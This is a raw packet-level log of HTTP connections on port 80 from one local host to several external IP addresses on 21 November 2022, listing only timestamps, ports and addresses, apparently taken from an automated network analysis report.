Nov 21, 2022 19:20:36.466331959 CET	49833	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:20:36.704503059 CET	80	49833	154.204.24.45	192.168.11.20
Nov 21, 2022 19:20:41.794434071 CET	49834	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:41.910402060 CET	80	49834	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:41.910615921 CET	49834	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:41.910698891 CET	49834	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:42.026575089 CET	80	49834	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:42.280814886 CET	80	49834	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:42.280906916 CET	80	49834	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:42.280971050 CET	80	49834	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:42.281033039 CET	80	49834	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:42.281088114 CET	49834	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:42.281115055 CET	80	49834	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:42.281193018 CET	49834	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:42.281213999 CET	80	49834	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:42.281302929 CET	80	49834	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:42.281366110 CET	80	49834	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:42.281393051 CET	49834	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:42.281465054 CET	80	49834	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:42.281514883 CET	49834	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:42.281562090 CET	80	49834	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:42.281725883 CET	49834	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:42.397725105 CET	80	49834	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:42.452421904 CET	49834	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:42.921230078 CET	49834	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:43.936796904 CET	49835	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:44.050992012 CET	80	49835	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:44.051381111 CET	49835	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:44.051480055 CET	49835	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:44.165678024 CET	80	49835	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:44.304507971 CET	80	49835	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:44.304596901 CET	80	49835	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:44.304622889 CET	80	49835	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:44.304646015 CET	80	49835	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:44.304693937 CET	80	49835	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:44.304864883 CET	80	49835	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:44.304877996 CET	49835	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:44.304882050 CET	80	49835	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:44.304894924 CET	80	49835	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:44.304908037 CET	80	49835	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:44.304924011 CET	80	49835	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:44.305207014 CET	49835	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:44.418644905 CET	80	49835	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:44.467560053 CET	49835	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:45.061290026 CET	49835	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.076978922 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.191473007 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.191757917 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.192378998 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.192485094 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.306720972 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.306804895 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.306955099 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.307054043 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.307110071 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.307128906 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.307148933 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.307192087 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.307230949 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.307300091 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.307403088 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.307435036 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.307477951 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.307646036 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.307719946 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.421499968 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.421575069 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.421622992 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.421668053 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.421680927 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.421780109 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.421788931 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.421838045 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.421889067 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.422032118 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.422065020 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.422219992 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.422241926 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.422503948 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.422760963 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.422943115 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.423233032 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.423527002 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.464328051 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.536010981 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.536035061 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.536241055 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.536427975 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.536758900 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.652069092 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.652133942 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.652164936 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.652196884 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.652225971 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.652257919 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.652288914 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.652287960 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.652329922 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.652362108 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.652419090 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.652468920 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.652514935 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.652646065 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:46.766238928 CET	80	49836	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:46.810930014 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:47.201559067 CET	49836	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:48.217227936 CET	49837	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:48.332475901 CET	80	49837	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:48.332808018 CET	49837	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:48.332937956 CET	49837	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:48.447952986 CET	80	49837	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:48.560080051 CET	80	49837	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:48.607448101 CET	49837	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:58.570084095 CET	80	49837	192.185.32.157	192.168.11.20
Nov 21, 2022 19:20:58.570456982 CET	49837	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:58.570456982 CET	49837	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:20:58.686224937 CET	80	49837	192.185.32.157	192.168.11.20
Nov 21, 2022 19:21:03.920017958 CET	49838	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:04.082756042 CET	80	49838	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:04.083333015 CET	49838	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:04.083949089 CET	49838	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:04.246506929 CET	80	49838	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:04.285512924 CET	80	49838	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:04.285551071 CET	80	49838	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:04.285904884 CET	49838	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:05.088172913 CET	49838	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:06.103971004 CET	49839	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:06.268939018 CET	80	49839	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:06.269747019 CET	49839	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:06.270848036 CET	49839	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:06.435659885 CET	80	49839	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:06.471455097 CET	80	49839	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:06.471470118 CET	80	49839	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:06.471767902 CET	49839	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:07.275170088 CET	49839	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:08.290790081 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:08.453824997 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.454749107 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:08.456604958 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:08.456729889 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:08.619879961 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.619954109 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.620003939 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.620049000 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.620088100 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:08.620122910 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.620249987 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:08.620412111 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:08.620589018 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.620790958 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:08.621005058 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.621058941 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.621170998 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:08.621310949 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.621341944 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:08.621678114 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:08.621849060 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:08.783354044 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.783427000 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.783477068 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.783519983 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.783562899 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.783607960 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.783777952 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:08.783906937 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:08.783906937 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.784013033 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.784074068 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.784118891 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.784427881 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.784476995 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.784521103 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.784564018 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.784607887 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.784806967 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.785064936 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.785254955 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.947081089 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.947138071 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.947179079 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.947473049 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.947860003 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.947915077 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.947961092 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.948035955 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.948107958 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.948179960 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.986124039 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.986192942 CET	80	49840	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:08.986615896 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:09.462152958 CET	49840	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:10.477807045 CET	49841	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:10.643610001 CET	80	49841	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:10.643769026 CET	49841	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:10.643927097 CET	49841	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:10.808526039 CET	80	49841	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:10.812271118 CET	80	49841	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:10.812378883 CET	80	49841	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:10.812742949 CET	49841	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:10.812807083 CET	49841	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:21:10.977576017 CET	80	49841	38.55.15.214	192.168.11.20
Nov 21, 2022 19:21:16.042390108 CET	49844	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:16.189563990 CET	80	49844	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:16.189933062 CET	49844	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:16.190066099 CET	49844	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:16.337223053 CET	80	49844	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:16.338378906 CET	80	49844	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:16.338460922 CET	80	49844	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:16.338790894 CET	49844	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:17.194904089 CET	49844	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:18.210465908 CET	49845	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:18.357820988 CET	80	49845	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:18.358172894 CET	49845	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:18.358172894 CET	49845	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:18.505446911 CET	80	49845	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:18.505521059 CET	80	49845	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:18.505567074 CET	80	49845	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:18.505892992 CET	49845	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:19.366357088 CET	49845	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:20.381932020 CET	49846	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:20.528316975 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.528575897 CET	49846	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:20.529202938 CET	49846	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:20.529377937 CET	49846	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:20.675622940 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.675637007 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.675885916 CET	49846	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:20.675941944 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.676038027 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.676047087 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.676204920 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.676213980 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.676222086 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.676225901 CET	49846	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:20.676397085 CET	49846	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:20.676415920 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.676568031 CET	49846	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:20.676700115 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.676736116 CET	49846	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:20.676848888 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.677097082 CET	49846	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:20.822694063 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.822756052 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.823038101 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.823056936 CET	49846	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:20.823108912 CET	49846	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:20.823199034 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.823245049 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.823283911 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.823324919 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.823339939 CET	49846	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:20.823405981 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.823446035 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.823483944 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.971096039 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.971158028 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.971198082 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.971235991 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:20.971277952 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:21.014209986 CET	80	49846	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:21.537744999 CET	49846	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:22.553416014 CET	49847	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:22.700448036 CET	80	49847	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:22.700689077 CET	49847	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:22.700804949 CET	49847	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:22.847863913 CET	80	49847	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:22.848660946 CET	80	49847	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:22.848743916 CET	80	49847	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:22.849129915 CET	49847	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:22.849131107 CET	49847	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:21:22.996083021 CET	80	49847	3.13.90.76	192.168.11.20
Nov 21, 2022 19:21:28.100662947 CET	49848	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:28.129446030 CET	80	49848	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:28.129756927 CET	49848	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:28.129893064 CET	49848	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:28.157911062 CET	80	49848	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:28.157994032 CET	80	49848	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:28.158046961 CET	80	49848	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:28.158312082 CET	49848	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:29.145431995 CET	49848	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:30.160953999 CET	49849	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:30.189995050 CET	80	49849	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:30.190220118 CET	49849	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:30.190305948 CET	49849	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:30.219271898 CET	80	49849	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:30.229234934 CET	80	49849	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:30.229296923 CET	80	49849	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:30.229490042 CET	49849	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:31.192099094 CET	49849	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:32.207463980 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:32.236138105 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.236392021 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:32.237010956 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:32.237097979 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:32.265736103 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.265818119 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.265876055 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.266019106 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.266040087 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:32.266269922 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:32.266297102 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.266380072 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.266432047 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:32.266587973 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:32.266612053 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.266762972 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:32.266840935 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:32.267007113 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:32.295134068 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.295212030 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.295263052 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.295433044 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:32.295545101 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:32.295614958 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:32.295614958 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.295687914 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.295734882 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.295914888 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.296046972 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.296164036 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.324522972 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.324599028 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.324848890 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.324954033 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.325197935 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.325270891 CET	80	49850	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:32.325525999 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:33.238202095 CET	49850	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:34.254034996 CET	49851	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:34.282548904 CET	80	49851	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:34.282773018 CET	49851	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:34.282839060 CET	49851	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:34.312052965 CET	80	49851	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:34.312156916 CET	80	49851	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:34.312216043 CET	80	49851	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:34.312522888 CET	49851	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:34.312681913 CET	49851	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:21:34.342578888 CET	80	49851	2.57.90.16	192.168.11.20
Nov 21, 2022 19:21:39.666364908 CET	49852	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:39.841260910 CET	80	49852	103.63.2.175	192.168.11.20
